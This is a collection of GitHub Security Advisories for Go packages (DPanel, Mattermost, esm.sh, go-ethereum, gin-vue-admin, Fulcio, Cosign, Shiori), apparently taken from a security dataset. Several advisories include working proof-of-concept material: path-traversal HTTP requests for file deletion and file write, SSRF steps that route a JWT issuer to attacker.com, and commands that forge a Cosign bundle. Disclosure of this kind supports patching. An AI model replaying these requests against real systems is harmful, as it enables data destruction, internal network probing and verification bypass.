deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-vh2x-fw87-4fxq
Package: github.com/donknap/dpanel (GO)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.9.2
Patched in: 1.9.2

Summary: DPanel has an arbitrary file deletion vulnerability in /api/common/attach/delete interface

Details:
### Summary
DPanel has an arbitrary file deletion vulnerability in the `/api/common/attach/delete` interface. Authenticated users can delete arbitrary files on the server via path traversal.

### Details
When a user logs into the administrative backend, this interface can be used to delete files. The vulnerability lies in the `Delete` function within the `app/common/http/controller/attach.go` file.

The `path` parameter submitted by the user is directly passed to `storage.Local{}.GetSaveRealPath` and subsequently to `os.Remove` without proper sanitization or checking for path traversal characters (`../`).

The vulnerable code snippet:
<img width="487" height="363" alt="image" src="https://github.com/user-attachments/assets/b811de6f-1df1-49f3-af78-ea77bc420804" />


And the helper function in `common/service/storage/local.go` uses `filepath.Join`, which resolves `../` but does not enforce a chroot/jail:
<img width="564" height="66" alt="image" src="https://github.com/user-attachments/assets/84d5a4f7-9054-4e1d-aa6b-6b50c80ba277" />

### PoC
1. Log in to the DPanel dashboard to obtain the `Authorization` token.
2. Send a POST request to delete a file (e.g., `/tmp/1.txt` inside the container).

**Request:**
```http
POST /dpanel/api/common/attach/delete HTTP/1.1
Host: target-ip:8807
Authorization: Bearer <YOUR_TOKEN>
Content-Type: application/x-www-form-urlencoded

path=../../../../../../../../tmp/1.txt
```

<img width="1600" height="940" alt="image" src="https://github.com/user-attachments/assets/40e4d3cb-57f7-4a4e-adcc-a9503af762be" />
<img width="346" height="191" alt="image" src="https://github.com/user-attachments/assets/756c0891-e61b-434c-9386-6e701bbb1a97" />
<img width="1310" height="885" alt="image" src="https://github.com/user-attachments/assets/31c883c2-725e-4618-977c-35fe19adafb1" />
<img width="1009" height="209" alt="image" src="https://github.com/user-attachments/assets/2641fdfb-6d73-4940-bd92-44d748e0e6b7" />
<img width="1265" height="876" alt="image" src="https://github.com/user-attachments/assets/14c67ec8-ec37-4820-90be-a24f58819020" />
GitHub Security Advisory: GHSA-wj5w-qghh-gvqp
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: >= 4.2.0-rc1, < 4.2.0
Patched in: 4.2.0

Summary: Mattermost Server does not neutralize HTML content in an Email template field

Details:
An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.
GitHub Security Advisory: GHSA-wj5w-qghh-gvqp
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: >= 4.1.0, < 4.1.1
Patched in: 4.1.1

Summary: Mattermost Server does not neutralize HTML content in an Email template field

Details:
An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.
GitHub Security Advisory: GHSA-wj5w-qghh-gvqp
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: < 4.0.5
Patched in: 4.0.5

Summary: Mattermost Server does not neutralize HTML content in an Email template field

Details:
An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.
GitHub Security Advisory: GHSA-g2h5-cvvr-7gmw
Package: github.com/esm-dev/esm.sh (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-24: Path Traversal: '../filedir'
Vulnerable versions: <= 136
Patched in: 136.1

Summary: esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header

Details:
## Summary

A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`).

**Severity:** Medium

**Component / Endpoint:** 

`POST /transform` — handling of `X-Zone-Id` header

The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 

**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.

---

## Proof of Concept (POC)

Request (attacker-supplied `X-Zone-Id` contains path traversal):

```
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325

{
  "filename": "example2.js",
  "lang": "js",
  "code": "console.log('hello');",
  "importMap": {
    "imports": {
      "react": "https://esm.sh/react",
      "react-dom": "https://esm.sh/react-dom"
    }
  },
  "jsxImportSource": "react",
  "target": "es2022",
  "sourceMap": "external",
  "minify": true
}
```
<img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" />


Observed result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.

This can be trigger with another path traversal request below

```
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/

```
<img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" />

---

## Remediation

Simply remove any .. in the `X-Zone-Id` header before actually process the file.

## Credits

- [Ai Ho (Jessie)](https://github.com/j3ssie)
- [CL Yang](https://github.com/A11riseforme)
GitHub Security Advisory: GHSA-mq3p-rrmp-79jg
Package: github.com/ethereum/go-ethereum (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 1.16.7
Patched in: 1.16.8

Summary: go-ethereum is vulnerable to high CPU usage leading to DoS via malicious p2p message

Details:
**Impact**

An attacker can cause high CPU usage by sending a specially crafted p2p message.
More details to be released later.

**Credit**

This issue was reported to the Ethereum Foundation Bug Bounty Program by @Yenya030
GitHub Security Advisory: GHSA-mr7q-c9w9-wh4h
Package: github.com/ethereum/go-ethereum (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: <= 1.16.7
Patched in: 1.16.8

Summary: go-ethereum is vulnerable to DoS via malicious p2p message affecting a vulnerable node

Details:
**Impact**

A vulnerable node can be forced to shutdown/crash using a specially crafted message. 
More details to be released later.

**Credit**

This issue was reported to the Ethereum Foundation Bug Bounty Program by DELENE TCHIO ROMUALD.
GitHub Security Advisory: GHSA-3558-j79f-vvm6
Package: github.com/flipped-aurora/gin-vue-admin (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 2.8.7
Patched in: unpatched

Summary: Gin-vue-admin has arbitrary file upload vulnerability caused by path traversal

Details:
### Impact
Gin-vue-admin <= v2.8.7 has a path traversal vulnerability in the breakpoint resume upload functionality. Attacker can upload any files on any directory.

Path traversal vulnerabilities occur when a web application accepts user-supplied file paths without proper validation, allowing attackers to access or write files outside the intended directory. In the breakpoint_continue.go file, the MakeFile function accepts a fileName parameter through the /fileUploadAndDownload/breakpointContinueFinish API endpoint and directly concatenates it with the base directory path (./fileDir/) using os.OpenFile() without any validation for directory traversal sequences (e.g., ../).

Notably, while the related makeFileContent function in the same file properly validates the fileName parameter by checking for .. sequences, the MakeFile function lacks this security control, indicating an inconsistent security implementation.

An **attacker with file upload privileges (role ID 888 - super administrator)** could exploit this vulnerability by:

First uploading file chunks through the /fileUploadAndDownload/breakpointContinue endpoint (which has proper validation)

Then calling the /fileUploadAndDownload/breakpointContinueFinish endpoint with a malicious fileName parameter containing path traversal sequences (e.g., ../../../tmp/malicious.txt)

This could lead to:
Arbitrary file creation, application process, Configuration file overwriting, Potential Remote Code Execution......

### POC
1. Use this endpoint to upload any files(include *name or *file types)
<img width="1429" height="788" alt="Clipboard_Screenshot_[PII_REDACTED]" src="https://github.com/user-attachments/assets/516022d6-32af-4810-abd9-945cb0bc5ae5" />

2. Then, the `filename` parameter here uses `../` to traverse to an arbitrary path. 
<img width="1445" height="306" alt="Clipboard_Screenshot_[PII_REDACTED]" src="https://github.com/user-attachments/assets/577aa1c1-9b26-4082-b431-f9dac1cdc307" />

3. Proof
<img width="837" height="843" alt="Clipboard_Screenshot_[PII_REDACTED]" src="https://github.com/user-attachments/assets/66f51049-8dc8-4c94-994e-a6d8bc1196a9" />


### Patches
Please wait for the latest patch
GitHub Security Advisory: GHSA-59jp-pj84-45mr
Package: github.com/sigstore/fulcio (GO)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.8.4
Patched in: 1.8.5

Summary: Fulcio is vulnerable to Server-Side Request Forgery (SSRF) via MetaIssuer Regex Bypass

Details:
# Security Disclosure: SSRF via MetaIssuer Regex Bypass

## Summary

Fulcio's `metaRegex()` function uses unanchored regex, allowing attackers to bypass MetaIssuer URL validation and trigger SSRF to arbitrary internal services.

Since the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through [Blind SSRF](https://portswigger.net/web-security/ssrf/blind).

## Impact

- SSRF to cloud metadata (169.254.169.254)
- SSRF to internal Kubernetes APIs
- SSRF to any service accessible from Fulcio's network
- Affects ALL deployments using MetaIssuers

## Patches

Upgrade to v1.8.5.

## Workarounds

None. If anchors are included in the meta issuer configuration URL, they will be escaped before the regular expression is compiled, not making this a sufficient mitigation. Deployments must upgrade to the latest Fulcio release v1.8.5.

## Affected Code

**File**: `pkg/config/config.go`  
**Function**: `metaRegex()` (lines 143-156)

```go
func metaRegex(issuer string) (*regexp.Regexp, error) {
    quoted := regexp.QuoteMeta(issuer)
    replaced := strings.ReplaceAll(quoted, regexp.QuoteMeta("*"), "[-_a-zA-Z0-9]+")
    return regexp.Compile(replaced)  // Missing ^ and $ anchors
}
```

## The Bug

The regex has no `^` (start) or `$` (end) anchors. Go's `regexp.MatchString()` does substring matching, so:

```
Pattern:  https://oidc.eks.*.amazonaws.com/id/*
Regex:    https://oidc\.eks\.[-_a-zA-Z0-9]+\.amazonaws\.com/id/[-_a-zA-Z0-9]+

Input:    https://attacker.com/x/https://oidc.eks.foo.amazonaws.com/id/bar
Result:   MATCHES (substring found)
```

## Exploit

1. Attacker sends JWT with `iss` claim: `https://attacker.com/path/https://oidc.eks.x.amazonaws.com/id/y`
2. Fulcio's `GetIssuer()` matches this against MetaIssuer patterns
3. Unanchored regex matches the embedded pattern as substring
4. Fulcio calls `oidc.NewProvider()` with attacker's URL
5. HTTP request goes to `attacker.com`, not `amazonaws.com`
6. Attacker returns OIDC discovery with `jwks_uri` pointing to internal service
7. Fulcio fetches from internal service → SSRF
GitHub Security Advisory: GHSA-whqx-f9j3-ch6m
Package: github.com/sigstore/cosign/v2 (GO)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 2.6.1
Patched in: 2.6.2

Summary: Cosign verification accepts any valid Rekor entry under certain conditions

Details:
### Impact

A Cosign bundle can be crafted to successfully verify an artifact even if the embedded Rekor entry does not reference the artifact's digest, signature or public key. When verifying a Rekor entry, Cosign verifies the Rekor entry signature, and also compares the artifact's digest, the user's public key from either a Fulcio certificate or provided by the user, and the artifact signature to the Rekor entry contents. Without these comparisons, Cosign would accept any response from Rekor as valid. A malicious actor that has compromised a user's identity or signing key could construct a valid Cosign bundle by including any arbitrary Rekor entry, thus preventing the user from being able to audit the signing event.

This vulnerability only affects users that provide a trusted root via `--trusted-root` or when fetched automatically from a TUF repository, when no trusted key material is provided via `SIGSTORE_REKOR_PUBLIC_KEY`. When using the default flag values in Cosign v3 to sign and verify (`--use-signing-config=true` and `--new-bundle-format=true` for signing, `--new-bundle-format=true` for verification), users are unaffected. Cosign v2 users are affected using the default flag values.

This issue had previously been fixed in https://github.com/sigstore/cosign/security/advisories/GHSA-8gw7-4j42-w388 but recent refactoring caused a regression. We have added testing to prevent a future regression.

#### Steps to Reproduce

```
echo blob > /tmp/blob
cosign sign-blob -y --new-bundle-format=false --bundle /tmp/bundle.1 --use-signing-config=false /tmp/blob
cosign sign-blob -y --new-bundle-format=false --bundle /tmp/bundle.2 --use-signing-config=false /tmp/blob
jq ".rekorBundle |= $(jq .rekorBundle /tmp/bundle.2)" /tmp/bundle.1 > /tmp/bundle.3
cosign verify-blob --bundle /tmp/bundle.3 --certificate-identity-regexp='.*' --certificate-oidc-issuer-regexp='.*' /tmp/blob
```

### Patches

Upgrade to Cosign v2.6.2 or Cosign v3.0.4. This does not affect Cosign v1.

### Workarounds

You can provide trusted key material via a set of flags under certain conditions. The simplest fix is to upgrade to the latest Cosign v2 or v3 release.

Note that the example below works for `cosign verify`, `cosign verify-blob, `cosign verify-blob-attestation`, and `cosign verify-attestation`.

```
SIGSTORE_REKOR_PUBLIC_KEY=<path to Rekor pub key> cosign verify-blob --use-signing-config=false --new-bundle-format=false --bundle=<path to bundle> <artifact>
```
GitHub Security Advisory: GHSA-whqx-f9j3-ch6m
Package: github.com/sigstore/cosign/v3 (GO)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 3.0.3
Patched in: 3.0.4

Summary: Cosign verification accepts any valid Rekor entry under certain conditions

Details:
### Impact

A Cosign bundle can be crafted to successfully verify an artifact even if the embedded Rekor entry does not reference the artifact's digest, signature or public key. When verifying a Rekor entry, Cosign verifies the Rekor entry signature, and also compares the artifact's digest, the user's public key from either a Fulcio certificate or provided by the user, and the artifact signature to the Rekor entry contents. Without these comparisons, Cosign would accept any response from Rekor as valid. A malicious actor that has compromised a user's identity or signing key could construct a valid Cosign bundle by including any arbitrary Rekor entry, thus preventing the user from being able to audit the signing event.

This vulnerability only affects users that provide a trusted root via `--trusted-root` or when fetched automatically from a TUF repository, when no trusted key material is provided via `SIGSTORE_REKOR_PUBLIC_KEY`. When using the default flag values in Cosign v3 to sign and verify (`--use-signing-config=true` and `--new-bundle-format=true` for signing, `--new-bundle-format=true` for verification), users are unaffected. Cosign v2 users are affected using the default flag values.

This issue had previously been fixed in https://github.com/sigstore/cosign/security/advisories/GHSA-8gw7-4j42-w388 but recent refactoring caused a regression. We have added testing to prevent a future regression.

#### Steps to Reproduce

```
echo blob > /tmp/blob
cosign sign-blob -y --new-bundle-format=false --bundle /tmp/bundle.1 --use-signing-config=false /tmp/blob
cosign sign-blob -y --new-bundle-format=false --bundle /tmp/bundle.2 --use-signing-config=false /tmp/blob
jq ".rekorBundle |= $(jq .rekorBundle /tmp/bundle.2)" /tmp/bundle.1 > /tmp/bundle.3
cosign verify-blob --bundle /tmp/bundle.3 --certificate-identity-regexp='.*' --certificate-oidc-issuer-regexp='.*' /tmp/blob
```

### Patches

Upgrade to Cosign v2.6.2 or Cosign v3.0.4. This does not affect Cosign v1.

### Workarounds

You can provide trusted key material via a set of flags under certain conditions. The simplest fix is to upgrade to the latest Cosign v2 or v3 release.

Note that the example below works for `cosign verify`, `cosign verify-blob, `cosign verify-blob-attestation`, and `cosign verify-attestation`.

```
SIGSTORE_REKOR_PUBLIC_KEY=<path to Rekor pub key> cosign verify-blob --use-signing-config=false --new-bundle-format=false --bundle=<path to bundle> <artifact>
```
GitHub Security Advisory: GHSA-mw8h-g64c-rxv4
Package: github.com/go-shiori/shiori (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-290: Authentication Bypass by Spoofing
Vulnerable versions: <= 1.7.4
Patched in: unpatched

Summary: Shiori is vulnerable to authentication bypass via a brute force attack

Details:
A lack of rate limiting in the login page of shiori v1.7.4 and below allows attackers to bypass authentication via a brute force attack.
GitHub Security Advisory: GHSA-g24c-fx4v-xg9w
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-613: Insufficient Session Expiration
Vulnerable versions: >= 3.10.0, < 3.10.2
Patched in: 3.10.2

Summary: Mattermost Server has Insufficient Session Expiration when used as an OAuth 2.0 service provider

Details:
An issue was discovered in Mattermost Server before 4.0.0, 3.10.2, and 3.9.2, when used as an OAuth 2.0 service provider, Session invalidation was mishandled.
GitHub Security Advisory: GHSA-g24c-fx4v-xg9w
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-613: Insufficient Session Expiration
Vulnerable versions: < 3.9.2
Patched in: 3.9.2

Summary: Mattermost Server has Insufficient Session Expiration when used as an OAuth 2.0 service provider

Details:
An issue was discovered in Mattermost Server before 4.0.0, 3.10.2, and 3.9.2, when used as an OAuth 2.0 service provider, Session invalidation was mishandled.
GitHub Security Advisory: GHSA-8pff-p3gx-w4jf
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 3.10.0, < 3.10.2
Patched in: 3.10.2

Summary:  Mattermost Server vulnerable to XSS via an uploaded file

Details:
An issue was discovered in Mattermost Server before 4.0.0, 3.10.2, and 3.9.2. It allows XSS via an uploaded file.
GitHub Security Advisory: GHSA-8pff-p3gx-w4jf
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.9.2
Patched in: 3.9.2

Summary:  Mattermost Server vulnerable to XSS via an uploaded file

Details:
An issue was discovered in Mattermost Server before 4.0.0, 3.10.2, and 3.9.2. It allows XSS via an uploaded file.
GitHub Security Advisory: GHSA-fcwg-45jh-5qhf
Package: github.com/mattermost/mattermost-server (GO)
Severity: HIGH (CVSS 8.8)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: >= 3.10.0-rc1, < 3.10.2
Patched in: 3.10.2

Summary: Mattermost Server vulnerable to CSRF if CORS is enabled

Details:
An issue was discovered in Mattermost Server before 4.0.0, 3.10.2, and 3.9.2. CSRF can occur if CORS is enabled.
GitHub Security Advisory: GHSA-fcwg-45jh-5qhf
Package: github.com/mattermost/mattermost-server (GO)
Severity: HIGH (CVSS 8.8)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: < 3.9.2
Patched in: 3.9.2

Summary: Mattermost Server vulnerable to CSRF if CORS is enabled

Details:
An issue was discovered in Mattermost Server before 4.0.0, 3.10.2, and 3.9.2. CSRF can occur if CORS is enabled.
GitHub Security Advisory: GHSA-c253-8hr4-r8v9
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 4.0.0, < 4.0.4
Patched in: 4.0.4

Summary: Mattermost Server exposes private team invite ID 

Details:
An issue was discovered in Mattermost Server before 4.1.0, 4.0.4, and 3.10.3. It allows attackers to discover a team invite ID by requesting a JSON document.
GitHub Security Advisory: GHSA-c253-8hr4-r8v9
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 3.10.3
Patched in: 3.10.3

Summary: Mattermost Server exposes private team invite ID 

Details:
An issue was discovered in Mattermost Server before 4.1.0, 4.0.4, and 3.10.3. It allows attackers to discover a team invite ID by requesting a JSON document.
GitHub Security Advisory: GHSA-8q4v-35v6-g8wr
Package: github.com/mattermost/mattermost-server (GO)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-1236: Improper Neutralization of Formula Elements in a CSV File
Vulnerable versions: >= 4.0.0, < 4.0.3
Patched in: 4.0.3

Summary: Mattermost Server is vulnerable CSV Injection 

Details:
An issue was discovered in Mattermost Server before 4.0.4 and 3.10.3. It allows CSV injection via a compliance report.
GitHub Security Advisory: GHSA-8q4v-35v6-g8wr
Package: github.com/mattermost/mattermost-server (GO)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-1236: Improper Neutralization of Formula Elements in a CSV File
Vulnerable versions: < 3.10.3
Patched in: 3.10.3

Summary: Mattermost Server is vulnerable CSV Injection 

Details:
An issue was discovered in Mattermost Server before 4.0.4 and 3.10.3. It allows CSV injection via a compliance report.
GitHub Security Advisory: GHSA-9589-mq83-f749
Package: github.com/mattermost/mattermost-server (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-404: Improper Resource Shutdown or Release
Vulnerable versions: >= 4.2.0-rc1, < 4.2.0
Patched in: 4.2.0

Summary: Mattermost Server is vulnerable to DoS through maliciously crafted posts

Details:
An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. It allows crafted posts that potentially cause a web browser to hang.